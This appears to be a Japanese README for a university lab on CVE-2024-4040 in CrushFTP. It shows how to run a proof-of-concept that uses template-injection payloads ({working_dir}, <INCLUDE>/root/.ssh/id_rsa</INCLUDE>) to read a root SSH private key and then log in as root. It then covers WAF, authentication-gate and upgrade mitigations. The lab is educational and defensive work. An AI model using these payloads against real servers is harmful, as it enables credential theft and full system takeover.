
CVE-2024-4040 (CrushFTP SSTI -> unauthenticated LFI) の概念実証 - 管理されたCS443ラボ環境における、教育/許可された用途のみ。
| フィールド | 詳細 |
|---|
| CVE | CVE-2024-4040 |
| 影響を受けるソフトウェア | CrushFTP < 10.7.1 (v10 ブランチ) / < 11.1.0 (v11 ブランチ) |
| 脆弱性タイプ | サーバーサイドテンプレートインジェクション (SSTI) → 認証不要のローカルファイル読み取り |
| CVSS スコア | 9.8 Critical |
| 影響 | 認証されていない攻撃者がサーバーファイルシステム上の任意のファイルを読み取ることができる |
CrushFTP の WebInterface は、zip コマンドの path パラメータ内のテンプレート式をサニタイズせずに評価します。認証されていない攻撃者は匿名セッションクッキーを取得し、そのクッキーを使用してテンプレートペイロード ({working_dir}、<INCLUDE>…</INCLUDE>) を渡すことで、サーバーが評価して返すため、ホスト全体にわたって任意のファイル読み取りが可能になります。
| コンポーネント | 値 |
|---|---|
| ターゲット | http://localhost:8080 |
| 基本 PoC CrushFTP バージョン | 10.3.0 (意図的に脆弱) |
| 緩和策 3 テスト環境 | 別のコンテナで CrushFTP 11.x (パッチ適用済みブランチ) を実行 |
| SSH ポート (コンテナ) | 2222 → 22 |
| 管理認証情報 | admin / admin |
| コンテナランタイム | Docker (Compose) |
pip install requests rich
| スクリプト | ソース | 目的 |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | 完全な SSTI/LFI エクスプロイト — セッション窃取、任意ファイル読み取り |
recon.py | このリポジトリ | バージョン検出、ライブ SSTI プローブ、脆弱性確認 |
docker-compose up -d
スクリプトを実行する前に、CrushFTP が完全に初期化されるまで約 10 秒待ってください。
ここで個別の偵察手順は不要です。crushed.py は実行中にエクスプロイトが可能かどうかを確認するためです。
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
このスクリプトは以下を行います:
/WebInterface/ から匿名の CrushAuth / currentAuth セッションを取得{working_dir} を使用して CrushFTP のインストールディレクトリを解決<INCLUDE>/root/.ssh/id_rsa</INCLUDE> を使用して対象ファイルを読み取り出力から秘密鍵ブロック (-----BEGIN OPENSSH PRIVATE KEY----- から -----END OPENSSH PRIVATE KEY----- まで) をコピーします。
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# 期待値: root
id
# 期待値: uid=0(root) gid=0(root) groups=0(root)
hostname
# 期待値: <container_id>
認証されていない攻撃者
│
▼
GET /WebInterface/ ← 匿名の CrushAuth + currentAuth クッキーを取得
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI 確認 — テンプレートがサーバーによって評価される
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← 絶対インストールパスを漏洩
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← 任意ファイル読み取り
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← 完全なルートシェル
| 問題 | 場所 | 詳細 |
|---|---|---|
| 依存関係の欠落 | 6~9行目 | 実行前に pip install rich が必要 |
| 脆弱な XML パース | 86、140行目 | XML 以外のサーバー応答でクラッシュ、ParseError の処理なし |
| トークン正規表現が厳しすぎる | 160~161行目 | CrushAuth=…; currentAuth=… パターンがすべての sessions.obj 形式と一致しない可能性 |
| HTTP 404 のみ | 53行目 | クッキー取得は 404 の場合のみ成功、他のステータスコードでは黙って失敗 |
WAF はリバースプロキシとして動作し、着信 HTTP/S トラフィックが CrushFTP に到達する前に検査します。NGINX と ModSecurity を使用することで、CVE-2024-4040 を悪用する悪意のあるリクエストを CrushFTP 自体を変更することなくネットワークエッジでブロックします。
../、%2e%2e) をリクエスト URI とクッキーでブロックMitigation 1/docker-compose.yaml を使用:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
Mitigation 1/nginx.conf を使用:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# ModSecurity を有効化
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# すべてのトラフィックを CrushFTP にプロキシ
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# ブロックされたリクエストには 403 を返す
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
攻撃者 -> NGINX WAF (ポート 80) -> 悪意のあるリクエストをブロック -> 403 Forbidden
-> 正常なリクエストを転送 -> CrushFTP:8080
CVE-2024-4040 は認証なしで悪用可能です。このラボでは、NGINX 層で機密ルートを CrushFTP にプロキシする前に Authorization ヘッダーを要求することで、匿名スタイルのアクセスをブロックします。
crushed.py などのエクスプロイトスクリプトは認証されていないアクセスに依存します。認証情報のないリクエストは 401 で拒否されます/WebInterface/ および / へのリクエストは、認証データが存在しない限り拒否されますservices:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
events {}
http {
server {
listen 80;
# 静的アセットは認証なしで許可
location ~* \.(css|js|png|jpg|ico|gif)$ {
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
}
# WebInterface への認証されていないアクセスをブロック
location /WebInterface/ {
if ($http_authorization = "") {
return 401 "Authentication Required - Anonymous sessions disabled";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Authorization $http_authorization;
}
# その他すべての認証されていないアクセスをブロック
location / {
if ($http_authorization = "") {
return 401 "Authentication Required";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
}
# 認証されていないリクエストが NGINX によって拒否されることを確認
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# 期待値: 401 Unauthorized
# オプション: 認証されたリクエストは転送されるべき
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername
CrushFTP 11 へのアップグレードが最も効果的かつ恒久的な修正です。このパッチは VFS パス解決に厳格な入力検証を追加し、CVE-2024-4040 の根本原因を排除します。
crushed.py などのエクスプロイトスクリプトはバージョン 11 に対して機能しなくなるDockerfile を CrushFTP 11 を使用するように更新:
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt
RUN apt-get update -y && apt-get -y install unzip wget openssh-server
COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip
EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22
WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"
CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d
コンテナを再ビルド:
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d
# v11 に対してエクスプロイトを実行 — 失敗するはず
# 注意: このリポジトリのスクリプトは -t/--target を使用します。
python3 crushed.py -t http://localhost:8080
# 期待値: エクスプロイトは出力なし、または接続エラーを返す